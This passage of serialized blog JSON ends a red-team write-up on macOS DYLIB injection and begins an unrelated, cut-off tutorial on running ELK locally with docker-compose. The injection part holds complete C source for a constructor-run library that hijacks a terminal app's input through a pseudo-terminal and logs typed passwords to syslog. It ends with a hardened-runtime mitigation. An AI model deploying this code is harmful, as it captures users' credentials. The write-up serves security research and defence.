memory but with most console applications (CLIs for example), the sensitive data is in the user input. For this purpose we created a sort of man in the middle payload that utilizes standard system functions to manipulate the terminal and capture input and output.",[],{"type":25,"text":32814,"spans":32815},"Challenge 1: peeking stdin",[32816],{"start":398,"end":5574,"type":593},{"type":25,"text":32818,"spans":32819},"The solution that comes to mind first is to create a new thread that reads all the input from stdin. While this sounds simple enough, after hours of research and trial and error we found out that it is not actually possible. While stdin is in fact a file descriptor it is not seekable, we cannot monitor it with one thread, and continue using it with the other simultaneously. Using getc and trying to push back characters to the stream will result in race conditions, with some characters getting missed.",[],{"type":25,"text":32821,"spans":32822},"While it not possible to manipulate the file descriptor the way we want it, nothing is stopping us from creating a new one. Fortunately there is a system call in linux just for this called openpty. This is usually used for running console applications in a virtual terminal, however we can use it to create a virtual terminal and hijack both the input and the output of the process using it. The idea is to give the virtual stdin and stdout to the original process by rewriting the STDIN_FILENO and STDOUT_FILENO descriptors using dup2. With this we are essentially cutting the application off from the actual user input and output, and making it run in a fake terminal.",[32823,32826],{"start":10863,"end":19964,"type":489,"data":32824},{"link_type":491,"url":32825},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman3\u002Fopenpty.3.html",{"start":32827,"end":32828,"type":489,"data":32829},531,535,{"link_type":491,"url":32830},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fdup.2.html","rich_text$2d6a535c-8ba0-4a95-94b9-2d7cacc30753",{"variation":437,"version":438,"items":32833,"primary":32834,"id":32839,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32835},[32836],{"type":27922,"text":32837,"spans":32838},"int master;\n    int slave;\n    openpty(&master, &slave, NULL, &current, NULL);\n    \n    dup2(slave, STDIN_FILENO);\n    dup2(slave, STDOUT_FILENO);\n    dup2(slave, STDERR_FILENO);",[],"code_block$7c7cbda6-aa32-4d28-81d3-5a63438edcba",{"variation":437,"version":438,"items":32841,"primary":32842,"id":32847,"slice_type":468,"slice_label":5},[],{"body":32843},[32844],{"type":25,"text":32845,"spans":32846},"We will also create a set of new file descriptors to the calling terminal, allowing us to communicate with the user:",[],"rich_text$0a5374ae-cef5-4c25-b2ba-f210fbbab976",{"variation":437,"version":438,"items":32849,"primary":32850,"id":32855,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32851},[32852],{"type":27922,"text":32853,"spans":32854},"oldstdin = fileno(fopen(\"\u002Fdev\u002Ftty\", \"r\"));\n    oldstdout = fileno(fopen(\"\u002Fdev\u002Ftty\", \"a\"));\n    oldstderr = oldstdout;",[],"code_block$7894a09b-0590-488d-9823-fef68ea58ced",{"variation":437,"version":438,"items":32857,"primary":32858,"id":32863,"slice_type":468,"slice_label":5},[],{"body":32859},[32860],{"type":25,"text":32861,"spans":32862},"The next step is to create a bridge between the virtual and the real terminal. We will forward all user input from the real stdin to the virtual and do the same for output in the other direction. We will also copy and log everything along the way of course :)",[],"rich_text$0eea7518-fdd9-4c91-8912-e47095abcbfc",{"variation":437,"version":438,"items":32865,"primary":32866,"id":32871,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32867},[32868],{"type":27922,"text":32869,"spans":32870},"fd_set rfds;\n  struct timeval tv;\n  tv.tv_sec = 0;\n  tv.tv_usec = 0;\n  char buf[4097];\n  int size;\n  \n  FD_ZERO(&rfds);\n  FD_SET(oldstdin, &rfds);\n  if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) {\n    size = read(oldstdin, buf, 4096);\n    buf[size] = '\\0';\n    syslog(LOG_ERR, \"Data:%s\\n\", buf);\n    write(master, buf, size);\n  }\n        \n  FD_ZERO(&rfds);\n  FD_SET(master, &rfds);\n  if (select(master + 1, &rfds, NULL, NULL, &tv)) {\n    size = read(master, buf, 4096);\n    buf[size] = '\\0';\n    write(oldstdout, buf, size);\n  }",[],"code_block$a2ca515f-7a95-4fa8-a921-a1fe3f694f14",{"variation":437,"version":438,"items":32873,"primary":32874,"id":32892,"slice_type":468,"slice_label":5},[],{"body":32875},[32876,32882,32886],{"type":25,"text":32877,"spans":32878},"Here we are also using select to monitor whether the file descriptors are ready.",[32879],{"start":4023,"end":871,"type":489,"data":32880},{"link_type":491,"url":32881},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fselect.2.html",{"type":25,"text":32883,"spans":32884},"Challenge 2: raw input and other terminal settings",[32885],{"start":398,"end":2971,"type":593},{"type":25,"text":32887,"spans":32888},"The solution above will work perfectly, as long as the application doesn't do anything weird with the terminal, for example changing the input mode to raw... The terminal has a set of options that control how user input and output behaves. The termios functions allow developers to set things like switching between buffered or raw input mode (the app receives input line by line or upon every keypress), or turning on and off terminal echo. These calls are usually hidden from developers by libraries such as ncurses, but this also means that a lot of programs use this, even without us knowing it. Trying this MiTM technique on the following example code will break user input entirely:",[32889],{"start":13578,"end":9258,"type":489,"data":32890},{"link_type":491,"url":32891},"https:\u002F\u002Fwww.man7.org\u002Flinux\u002Fman-pages\u002Fman3\u002Ftermios.3.html","rich_text$ae42f86b-19e4-44d7-ba8e-8c0a37ea08e1",{"variation":437,"version":438,"items":32894,"primary":32895,"id":32900,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32896},[32897],{"type":27922,"text":32898,"spans":32899},"#include \u003Cstdio.h>\n#include \u003Ctermios.h>\n#include \u003Cstdlib.h>\n\nint main()\n{\n\n    char ch;\n\n    struct termios current;\n    int result;\n    tcgetattr (0, &current);\n    cfmakeraw(&current);\n    tcsetattr (0, TCSANOW, &current);\n\n    printf(\"Enter some text: \");\n    for(int i = 0; i\u003C20; i = i+1){\n        scanf(\"%c\", &ch);\n        printf(\"%c\", ch);\n    }\n\n    return 0;\n}",[],"code_block$c8837d6e-9951-4175-b54d-b165a91fcf92",{"variation":437,"version":438,"items":32902,"primary":32903,"id":32911,"slice_type":468,"slice_label":5},[],{"body":32904},[32905,32908],{"type":25,"text":32906,"spans":32907},"The solution to this is fortunately quite simple. We have to monitor the virtual terminal for changes in the configuration and then apply them to the real terminal.",[],{"type":25,"text":32909,"spans":32910},"The following function copies the terminal attributes from one terminal to the other:",[],"rich_text$3f0cfb01-f1f5-42e3-a05e-7c40a720bce0",{"variation":437,"version":438,"items":32913,"primary":32914,"id":32919,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32915},[32916],{"type":27922,"text":32917,"spans":32918},"void terminalcopy(int old, int new){\n    struct termios oldsettings;\n    int result;\n    result = tcgetattr (old, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcgetattr old\");\n    }\n    result = tcsetattr (new, TCSANOW, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcsetattr\");\n    }\n}",[],"code_block$2851be89-b98f-43e9-b67f-817196571708",{"variation":437,"version":438,"items":32921,"primary":32922,"id":32934,"slice_type":468,"slice_label":5},[],{"body":32923},[32924,32927,32931],{"type":25,"text":32925,"spans":32926},"We can simply embed this into our input loop.",[],{"type":25,"text":32928,"spans":32929},"Challenge 3: exfiltrating data",[32930],{"start":398,"end":3041,"type":593},{"type":25,"text":32932,"spans":32933},"This isn't really a challenge with the injection, it is more a challenge with Red Teaming in general. Getting the stolen goods across the border, aka writing logged passwords or API keys to a file is usually a noisy process. In this payload we are going to use a solution proposed by our team lead @Daniel Teixeira. We are going to write all our data to syslog. We are going to use the syslog command.",[],"rich_text$b901144c-8382-45fa-8333-49620c8efa85",{"variation":437,"version":438,"items":32936,"primary":32937,"id":32942,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32938},[32939],{"type":27922,"text":32940,"spans":32941},"syslog(LOG_ERR, \"Data:%s\\n\", buf);",[],"code_block$d4f77b80-a103-47ec-b41b-2dd44315a6f0",{"variation":437,"version":438,"items":32944,"primary":32945,"id":32954,"slice_type":468,"slice_label":5},[],{"body":32946},[32947,32950],{"type":25,"text":32948,"spans":32949},"This solution is practical when the engagement allows relatively easy access to log facilities. It could be further refined by encrypting the logged information.",[],{"type":25,"text":32951,"spans":32952},"Putting it all together",[32953],{"start":398,"end":4023,"type":593},"rich_text$e1b32aef-886e-439f-a1fc-688492699779",{"variation":437,"version":438,"items":32956,"primary":32957,"id":32962,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32958},[32959],{"type":27922,"text":32960,"spans":32961},"#include \"spy.h\"\n#include \u003Cstdio.h>\n#include \u003Csyslog.h>\n#include \u003Cstdlib.h>\n#include \u003Cpthread.h>\n#include \u003Csys\u002Fselect.h>\n#include \u003Cfcntl.h>\n#include \u003Cutil.h>\n#include \u003Cunistd.h>\n#include \u003Ctermios.h>\n\nint master;\nint slave;\nint oldstdin;\nint oldstdout;\nint oldstderr;\n\nvoid terminalcopy(int old, int new){\n    struct termios oldsettings;\n    int result;\n    \n    result = tcgetattr (old, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcgetattr old\");\n    }\n    result = tcsetattr (new, TCSANOW, &oldsettings);\n    if (result \u003C 0)\n    {\n        syslog(LOG_ERR, \"error in tcsetattr\");\n    }\n}\n\nvoid* spyfunc(){\n\n    syslog(LOG_ERR, \"Spy thread started!\\n\");\n    \n    fd_set rfds;\n    struct timeval tv;\n    tv.tv_sec = 0;\n    tv.tv_usec = 0;\n    char buf[4097];\n    int size;\n    \n    while(1)\n    {\n        terminalcopy(slave, oldstdin);\n\n        FD_ZERO(&rfds);\n        FD_SET(oldstdin, &rfds);\n        if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) {\n            size = read(oldstdin, buf, 4096);\n            buf[size] = '\\0';\n            syslog(LOG_ERR, \"Data:%s\\n\", buf);\n            write(master, buf, size);\n        }\n        \n        FD_ZERO(&rfds);\n        FD_SET(master, &rfds);\n        if (select(master + 1, &rfds, NULL, NULL, &tv)) {\n            size = read(master, buf, 4096);\n            buf[size] = '\\0';\n            write(oldstdout, buf, size);\n        }\n        \n    }\n    return 0;\n}\n\n__attribute__((constructor))\nstatic void customConstructor(int argc, const char **argv)\n{\n    struct termios current;\n    int result;\n    result = tcgetattr (STDIN_FILENO, &current);\n    \n    openpty(&master, &slave, NULL, &current, NULL);\n    \n    dup2(slave, STDIN_FILENO);\n    dup2(slave, STDOUT_FILENO);\n    dup2(slave, STDERR_FILENO);\n    oldstdin = fileno(fopen(\"\u002Fdev\u002Ftty\", \"r\"));\n    oldstdout = fileno(fopen(\"\u002Fdev\u002Ftty\", \"a\"));\n    oldstderr = oldstdout;\n    \n    pthread_t id;\n    \n    pthread_create(&id, NULL, spyfunc, NULL);\n    \n    syslog(LOG_ERR, \"Dylib injection successful in %s\\n\", argv[0]);\n}",[],"code_block$cb0184b9-5ae6-4bd9-838d-4c2638db09a0",{"variation":437,"version":438,"items":32964,"primary":32965,"id":32971,"slice_type":468,"slice_label":5},[],{"body":32966},[32967],{"type":25,"text":32968,"spans":32969},"This code still has some limitations, it will fail in cases when the application directly manipulates \u002Fdev\u002Ftty, however for most console applications it works as expected.",[32970],{"start":4073,"end":4176,"type":765},"rich_text$a7a762d1-c45d-411e-8809-8662536712bb",{"variation":437,"version":438,"items":32973,"primary":32974,"id":32982,"slice_type":468,"slice_label":5},[],{"body":32975},[32976,32979],{"type":746,"text":32977,"spans":32978},"Multiarch issues",[],{"type":25,"text":32980,"spans":32981},"We are testing this on a realtively new M1 Macbook, which is running both native ARM and x64 binaries. If we simply compile our library it will result in a native ARM binary, however if we try to inject this into an x64 process running under Rosetta we will be facing the following error message:",[],"rich_text$b14c3e63-91c6-4ecb-86aa-bf89cb5473a8",{"variation":437,"version":438,"items":32984,"primary":32985,"id":32990,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":32986},[32987],{"type":27922,"text":32988,"spans":32989},"dyld[31453]: terminating because inserted dylib '\u002F$PATH\u002Fspy.dylib' could not be loaded: tried: '\u002F$PATH\u002Fspy.dylib' (mach-o file, but is an incompatible architecture (have 'arm64e', need 'x86_64')), '\u002Fusr\u002Flocal\u002Flib\u002Fspy.dylib' (no such file), '\u002Fusr\u002Flib\u002Fspy.dylib' (no such file)",[],"code_block$3b64e9a9-d8eb-4484-80f9-ee86eb6cb689",{"variation":437,"version":438,"items":32992,"primary":32993,"id":33003,"slice_type":468,"slice_label":5},[],{"body":32994},[32995,32998],{"type":25,"text":32996,"spans":32997},"From a Red Team perspective this is an issue, since we can not be sure what kind of process our library will be injected into, and the error can tip off the user that something is not right on the system. To solve this we will have to compile our library with multiarch support.",[],{"type":25,"text":32999,"spans":33000},"To achieve this we will Xcode, load our code, select the project, select build settings and set release to ARCHS = $(ARCHS_STANDARD) (Standard Architectures (Apple Silicon, Intel)). Hit build, the resulting dylib file will be under $home\u002FLibrary\u002FDeveloper\u002FXcode\u002FDerivedData\u002F$projectname\u002FBuild\u002FProducts\u002FDebug\u002F. The result should look like this:",[33001,33002],{"start":782,"end":4588,"type":765},{"start":792,"end":29284,"type":765},"rich_text$a4ed6cfb-7553-43ce-8ae9-f55ceb950055",{"variation":437,"version":438,"items":33005,"primary":33006,"id":33011,"slice_type":468,"slice_label":5},[],{"body":33007},[33008],{"type":25,"text":33009,"spans":33010},"Using this library it is possible to inject into both ARM and x64 processes running under Rosetta.",[],"rich_text$86a8a725-6980-4881-8aaf-f6906bae25c3",{"variation":437,"version":438,"items":33013,"primary":33014,"id":33031,"slice_type":468,"slice_label":5},[],{"body":33015},[33016,33019,33022,33028],{"type":746,"text":33017,"spans":33018},"Protecting against all of this",[],{"type":25,"text":33020,"spans":33021},"Apple introduced the Hardened Runtime by Apple in macOS 10.14 (Mojave), which in theory should prevent attacks like this. The catch is that developers have to sign their applications to enable hardened runtime when executing their code.",[],{"type":25,"text":33023,"spans":33024},"To test this we can create a self signed certificate in Keychain Access. Then use this certificate to sign our example Go app.",[33025],{"start":4889,"end":1658,"type":489,"data":33026},{"link_type":491,"url":33027},"https:\u002F\u002Fsupport.apple.com\u002Fen-gb\u002Fguide\u002Fkeychain-access\u002Fkyca8916\u002Fmac",{"type":25,"text":33029,"spans":33030},"Let's build our go example from before, and test DYLIB injection again:",[],"rich_text$f0ccf0fb-a352-4b28-8efd-40f852ed3e8f",{"variation":437,"version":438,"items":33033,"primary":33034,"id":33039,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33035},[33036],{"type":27922,"text":33037,"spans":33038},"% export DYLD_INSERT_LIBRARIES=\u002Fosx_injections\u002Fspy0.dylib\n% go build readline.go\n% .\u002Freadline\nDYLIB injection successful!\nEnter password:\nasdasd\nWelcome!",[],"code_block$00221fd4-200b-421c-9873-bcba23913edb",{"variation":437,"version":438,"items":33041,"primary":33042,"id":33047,"slice_type":468,"slice_label":5},[],{"body":33043},[33044],{"type":25,"text":33045,"spans":33046},"Now let's sign our app with a self signed certificate and hardened runtime enabled:",[],"rich_text$5f0dc4f7-c207-4137-a116-2723882f4a98",{"variation":437,"version":438,"items":33049,"primary":33050,"id":33055,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33051},[33052],{"type":27922,"text":33053,"spans":33054},"% sudo codesign -fs certname -o runtime readline\nreadline: replacing existing signature\n% .\u002Freadline\nEnter password:\nasdasd\nWelcome!",[],"code_block$2d6c22b3-704f-4d0b-84cd-31b33e528fd4",{"variation":437,"version":438,"items":33057,"primary":33058,"id":33063,"slice_type":468,"slice_label":5},[],{"body":33059},[33060],{"type":25,"text":33061,"spans":33062},"As we can see the library is no longer loaded, the application, among other things is immune against DYLIB injections.",[],"rich_text$4df048c7-58f9-4b0d-9afd-105ff916da64",{"variation":437,"version":438,"items":33065,"primary":33066,"id":33073,"slice_type":468,"slice_label":5},[],{"body":33067},[33068,33070],{"type":746,"text":4445,"spans":33069},[],{"type":25,"text":33071,"spans":33072},"While Mac OS has some great security features us as developers have to be mindful that sometimes these features have to be explicitly enabled. While DYLIB injection is usually only exploitable when the attackers already have access to the target system, in the name of defense in depth these issues should be mitigated whenever possible.",[],"rich_text$ea4ea321-233a-4ccd-ad9f-bea9c5ed24e6",{"id":33075,"uid":33076,"type":25949,"data":33077},"alz1JxEAACsAUWgm","running-elk-locally-to-interrogate-container-logs",{"title":33078,"excerpt":33079,"card_image":33080,"published_date":33085,"reading_time":1633,"tag":25960,"dek":33079,"featured_image":33086,"about_form3":33091,"client_about_heading":5,"client_about_body":33092,"author_name":26951,"author_title":26952,"author_photo":33093,"author_bio":33096,"author_linkedin":33101,"slices":33103,"meta_title":33078,"meta_description":33475},"Running ELK locally to interrogate container logs","Andy Kuszyk, Head of International Engineering, talks us through running ELK locally to interrogate container logs. This post ties together all his learnings about running a local ELK stack and configuring Filebeat locally. At the end, we'll be able to run a local ELK stack with Docker compose.",{"dimensions":33081,"alt":33078,"copyright":5,"url":33082,"id":33083,"edit":33084},{"width":412,"height":412},"\u002F_prismic-media\u002F8100f4fe7ef8545d-GORep7atoYiN_JFJ_running-elk-locally-to-interrog.png","GORep7atoYiN_JFJ",{"x":398,"y":398,"zoom":399,"background":400},"2022-04-20",{"dimensions":33087,"alt":5,"copyright":5,"url":33088,"id":33089,"edit":33090},{"width":501,"height":502},"\u002F_prismic-media\u002F6f3bd225aaf2921e-jb19rcfNedoq46aL_70c2bfd9-dc98-4078-af0b-c9ec5fe.png","jb19rcfNedoq46aL",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":33094,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":33095},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[33097],{"type":25,"text":26961,"spans":33098},[33099],{"start":19275,"end":18958,"type":489,"data":33100},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":33102,"url":26968,"target":493},"4b9aacba-8c3e-48f6-8cb6-fbdd858a4819",[33104,33138,33151,33159,33169,33177,33185,33193,33205,33213,33221,33229,33238,33259,33267,33275,33283,33291,33299,33308,33316,33324,33332,33344,33351,33359,33368,33376,33384,33396,33413,33421,33430,33443,33451,33460],{"variation":437,"version":438,"items":33105,"primary":33106,"id":33137,"slice_type":468,"slice_label":5},[],{"body":33107},[33108,33111,33120,33126],{"type":25,"text":33109,"spans":33110},"I recently needed to investigate an issue on a development environment that had been highlighted by way of visualisations in Kibana based on application specific logs. The logs themselves were structured as JSON and contained some important metrics about the application's performance. In order to investigate this issue locally, I needed to run the application under similar conditions to the real environment and analyse the logs with a similar visualisation to production.",[],{"type":25,"text":33112,"spans":33113},"Unfortunately, although running the application locally was reasonably easy, replicating the log ingestion pipeline was less-so. We run load tests in our CI pipeline using f1, so I could use our local test environment to run load through the application. However, our log processing pipeline involves integration between AWS, Fluentd and Logz. When I ran the application locally, all of the log output was just dumped to my terminal's stdout, which made it really hard to analyse. All I really wanted to do was pickup the logs from the stdout, parse their JSON content, and ingest them into an Elasticsearch database. This would mimic what we do in real life, and would allow me to analyse them in Kibana.",[33114,33115,33116,33118],{"start":685,"end":847,"type":765},{"start":15361,"end":10918,"type":765},{"start":15361,"end":10918,"type":489,"data":33117},{"link_type":491,"url":28440},{"start":33119,"end":793,"type":765},435,{"type":25,"text":33121,"spans":33122},"In other words, I just wanted to run a local ELK stack.",[33123],{"start":9211,"end":3963,"type":489,"data":33124},{"link_type":491,"url":33125},"https:\u002F\u002Fwww.elastic.co\u002Felk-stack",{"type":25,"text":33127,"spans":33128},"It turns out, this was quite easy to achieve, and - whilst there are plenty of examples out there on the internet - this post ties together my learnings in a simple way. If you just want to jump to the implementation, you can clone https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk and run docker-compose up. Don't forget to checkout the README.md.",[33129,33133,33135],{"start":792,"end":33130,"type":489,"data":33131},271,{"link_type":491,"url":33132},"https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk",{"start":33134,"end":26123,"type":765},280,{"start":33136,"end":21437,"type":765},328,"rich_text$badcc870-d25f-4689-ada7-7f717a991fcb",{"variation":437,"version":438,"items":33139,"primary":33140,"id":33150,"slice_type":468,"slice_label":5},[],{"body":33141},[33142,33145],{"type":746,"text":33143,"spans":33144},"Running a local ELK stack using docker-compose",[],{"type":25,"text":33146,"spans":33147},"It's pretty easy to get a local ELK stack up and running using docker-compose. The following docker-compose.yml file demonstrates this:",[33148,33149],{"start":629,"end":855,"type":765},{"start":1409,"end":3971,"type":765},"rich_text$fce9e806-8daf-4e0f-b49d-8a9d48f6faec",{"variation":437,"version":438,"items":33152,"primary":33153,"id":33158,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33154},[33155],{"type":27922,"text":33156,"spans":33157},"version: \"3.3\"\n\nservices:\n  elasticsearch:\n    image: elasticsearch:7.2.0\n    environment:\n      - discovery.type=single-node\n    ports:\n      - \"9200:9200\"\n      - \"9300:9300\"\n    volumes:\n      - esdata1:\u002Fusr\u002Fshare\u002Felasticsearch\u002Fdata",[],"code_block$896694de-59b8-4e34-a0be-d0a68c0b696e",{"variation":437,"version":438,"items":33160,"primary":33161,"id":33168,"slice_type":468,"slice_label":5},[],{"body":33162},[33163],{"type":25,"text":33164,"spans":33165},"The \u002Fusr\u002Fshare\u002Felasticsearch\u002Fdata directory is mounted into a named volume here (see the end of the docker-compose.yml file) so that the data stored in Elasticsearch is persisted between instances of the container. This is useful if you're starting up and tearing down the compose file regularly and don't want to re-create things like Kibana configuration. It also preserves all your previous logs.",[33166,33167],{"start":4603,"end":9077,"type":765},{"start":3964,"end":3402,"type":765},"rich_text$e6f0b187-b124-48e6-9ab1-82ac056aee92",{"variation":437,"version":438,"items":33170,"primary":33171,"id":33176,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33172},[33173],{"type":27922,"text":33174,"spans":33175},"kibana:\n    image: kibana:7.2.0\n    ports:\n      - \"5601:5601\"",[],"code_block$571abaa5-68e2-4834-84be-01094d2646ef",{"variation":437,"version":438,"items":33178,"primary":33179,"id":33184,"slice_type":468,"slice_label":5},[],{"body":33180},[33181],{"type":25,"text":33182,"spans":33183},"No additional config is required for Kibana, the vanilla Docker image is fine.",[],"rich_text$4619a715-25a8-4334-9d31-a12ccf332177",{"variation":437,"version":438,"items":33186,"primary":33187,"id":33192,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33188},[33189],{"type":27922,"text":33190,"spans":33191},"logstash:\n    build: logstash\n    ports:\n      - \"5044:5044\"",[],"code_block$e2d394d2-fd6c-459d-87b2-a13abac7e600",{"variation":437,"version":438,"items":33194,"primary":33195,"id":33204,"slice_type":468,"slice_label":5},[],{"body":33196},[33197],{"type":25,"text":33198,"spans":33199},"A custom configuration for Logstash is useful here, so build: logstash instructs docker-compose to use the Dockerfile in the .\u002Flogstash directory. See later for details.",[33200,33201,33202,33203],{"start":3853,"end":847,"type":765},{"start":3289,"end":3885,"type":765},{"start":782,"end":8997,"type":765},{"start":10343,"end":3295,"type":765},"rich_text$f8041b8c-10eb-40ac-ad83-3e1af220bd41",{"variation":437,"version":438,"items":33206,"primary":33207,"id":33212,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33208},[33209],{"type":27922,"text":33210,"spans":33211},"filebeat:\n    build: filebeat\n    user: root\n    environment:\n      - setup.kibana.host=kibana:5601\n      - output.elasticsearch.hosts=[\"elasticsearch:9200\"]\n      - strict.perms=false\n    volumes:\n      - type: bind\n        source: \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\n        target: \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\n      - type: bind\n        source: \u002Fvar\u002Frun\u002Fdocker.sock\n        target: \u002Fvar\u002Frun\u002Fdocker.sock\n        mode: ro",[],"code_block$af859531-3371-4573-93d8-e613b220c8c3",{"variation":437,"version":438,"items":33214,"primary":33215,"id":33220,"slice_type":468,"slice_label":5},[],{"body":33216},[33217],{"type":25,"text":33218,"spans":33219},"As with Logstash, a custom configuration for Filebeat is useful here. Furthermore, we're giving Filebeat access to the Docker daemon on your local host so that it can interrogate information about containers directly and retrieve their logs.",[],"rich_text$82ff072c-1335-416b-8e18-3a96640924f7",{"variation":437,"version":438,"items":33222,"primary":33223,"id":33228,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33224},[33225],{"type":27922,"text":33226,"spans":33227},"volumes:\n  esdata1:",[],"code_block$e3b31050-5be9-4bf1-b3ff-f047ec6ba6fe",{"variation":437,"version":438,"items":33230,"primary":33231,"id":33237,"slice_type":468,"slice_label":5},[],{"body":33232},[33233],{"type":25,"text":33234,"spans":33235},"Finally, this is the named volume in use by the elasticsearch service.",[33236],{"start":5490,"end":3407,"type":765},"rich_text$ef51e4a3-9087-4cee-a278-5b2cfa0fcc99",{"variation":437,"version":438,"items":33239,"primary":33240,"id":33258,"slice_type":468,"slice_label":5},[],{"body":33241},[33242,33245,33248,33251,33254],{"type":746,"text":33243,"spans":33244},"Configuring Logstash for use locally",[],{"type":25,"text":33246,"spans":33247},"Its useful to do two things to configure Logstash for your local ELK setup:",[],{"type":3373,"text":33249,"spans":33250},"Provide a custom Logstash pipeline definition for any specific log parsing you might want to do;",[],{"type":3373,"text":33252,"spans":33253},"Override the default Logstash Docker entrypoint to reduce the amount of noise in your logs.",[],{"type":25,"text":33255,"spans":33256},"This is achieved through three files in a .\u002Flogstash directory.",[33257],{"start":1486,"end":1251,"type":765},"rich_text$e8275ef4-87f9-43da-a638-26f950e177e6",{"variation":437,"version":438,"items":33260,"primary":33261,"id":33266,"slice_type":468,"slice_label":5},[],{"body":33262},[33263],{"type":746,"text":33264,"spans":33265},"Dockerfile",[],"rich_text$ea4656e1-f8f5-41d0-8dd3-8d9d0a8d443c",{"variation":437,"version":438,"items":33268,"primary":33269,"id":33274,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33270},[33271],{"type":27922,"text":33272,"spans":33273},"FROM docker.elastic.co\u002Flogstash\u002Flogstash:7.2.0\nCOPY pipeline.conf \u002Fusr\u002Fshare\u002Flogstash\u002Fpipeline\u002Fpipeline.conf\nCOPY entrypoint.sh .\u002Fentrypoint.sh\nCMD .\u002Fentrypoint.sh",[],"code_block$59b2cc12-97de-4b9c-9da6-0d71cd9d073d",{"variation":437,"version":438,"items":33276,"primary":33277,"id":33282,"slice_type":468,"slice_label":5},[],{"body":33278},[33279],{"type":25,"text":33280,"spans":33281},"This file uses the base Logstash Docker image and copies in the two other files mentioned here, overriding the entrypoint.",[],"rich_text$35dc498b-7ffd-42af-92d4-7a62146a9e7e",{"variation":437,"version":438,"items":33284,"primary":33285,"id":33290,"slice_type":468,"slice_label":5},[],{"body":33286},[33287],{"type":746,"text":33288,"spans":33289},"entrypoint.sh",[],"rich_text$561c2b2d-eff5-43b2-9359-00962a280968",{"variation":437,"version":438,"items":33292,"primary":33293,"id":33298,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33294},[33295],{"type":27922,"text":33296,"spans":33297},"#!\u002Fbin\u002Fbash\n\n# To prevent the logs from logstash itself from spamming filebeat, we re-direct\n# the stdout from logstash to \u002Fdev\u002Fnull here. If you need to see the output from\n# logstash when debugging, remove this re-direct.\nlogstash > \u002Fdev\u002Fnull",[],"code_block$d39fdd69-afe9-4a2c-9a58-8a10984bb283",{"variation":437,"version":438,"items":33300,"primary":33301,"id":33307,"slice_type":468,"slice_label":5},[],{"body":33302},[33303],{"type":25,"text":33304,"spans":33305},"This file simply re-directs the Logstash output to \u002Fdev\u002Fnull. By default, Logstash outputs information for every message that it parses which adds a lot of noise to the logs ingested into Elasticsearch.",[33306],{"start":1250,"end":685,"type":765},"rich_text$e73b93dc-13b2-4f55-a60a-1704d28fd02f",{"variation":437,"version":438,"items":33309,"primary":33310,"id":33315,"slice_type":468,"slice_label":5},[],{"body":33311},[33312],{"type":746,"text":33313,"spans":33314},"pipeline.conf",[],"rich_text$a320b9d4-5ab7-4863-ab52-1026dc14283f",{"variation":437,"version":438,"items":33317,"primary":33318,"id":33323,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33319},[33320],{"type":27922,"text":33321,"spans":33322},"input {\n  beats {\n    port => 5044\n  }\n}\nfilter {\n  # Your custom expressions here.\n}\noutput {\n  elasticsearch { hosts => [\"elasticsearch:9200\"] }\n}",[],"code_block$5c41ccd9-8961-47cf-a794-4ede334628e2",{"variation":437,"version":438,"items":33325,"primary":33326,"id":33331,"slice_type":468,"slice_label":5},[],{"body":33327},[33328],{"type":25,"text":33329,"spans":33330},"For now, this pipeline definition does nothing more than pass on your log messages from Filebeat to Elasticsearch, however it can be useful for more advanced processing of your log messages. See later for details.",[],"rich_text$7f1c24d0-f39a-4ff1-89df-59c0d6dcb616",{"variation":437,"version":438,"items":33333,"primary":33334,"id":33343,"slice_type":468,"slice_label":5},[],{"body":33335},[33336,33339],{"type":746,"text":33337,"spans":33338},"Configuring Filebeat for use locally",[],{"type":25,"text":33340,"spans":33341},"Filebeat needs some basic configuration to allow it to automatically read information from Docker about containers and their logs as well as to work with Logstash to send the log messages to Elasticsearch. This is achieved through two files in the .\u002Ffilebeat directory.",[33342],{"start":18768,"end":23880,"type":765},"rich_text$f0c11f2d-bd2c-48c7-a3bb-3e83fba10115",{"variation":437,"version":438,"items":33345,"primary":33346,"id":33350,"slice_type":468,"slice_label":5},[],{"body":33347},[33348],{"type":746,"text":33264,"spans":33349},[],"rich_text$2cd872cf-9230-4fed-8f29-0c7a43c93af7",{"variation":437,"version":438,"items":33352,"primary":33353,"id":33358,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":33354},[33355],{"type":27922,"text":33356,"spans":33357},"FROM docker.elastic.co\u002Fbeats\u002Ffilebeat:7.2.0\nCOPY filebeat.yml 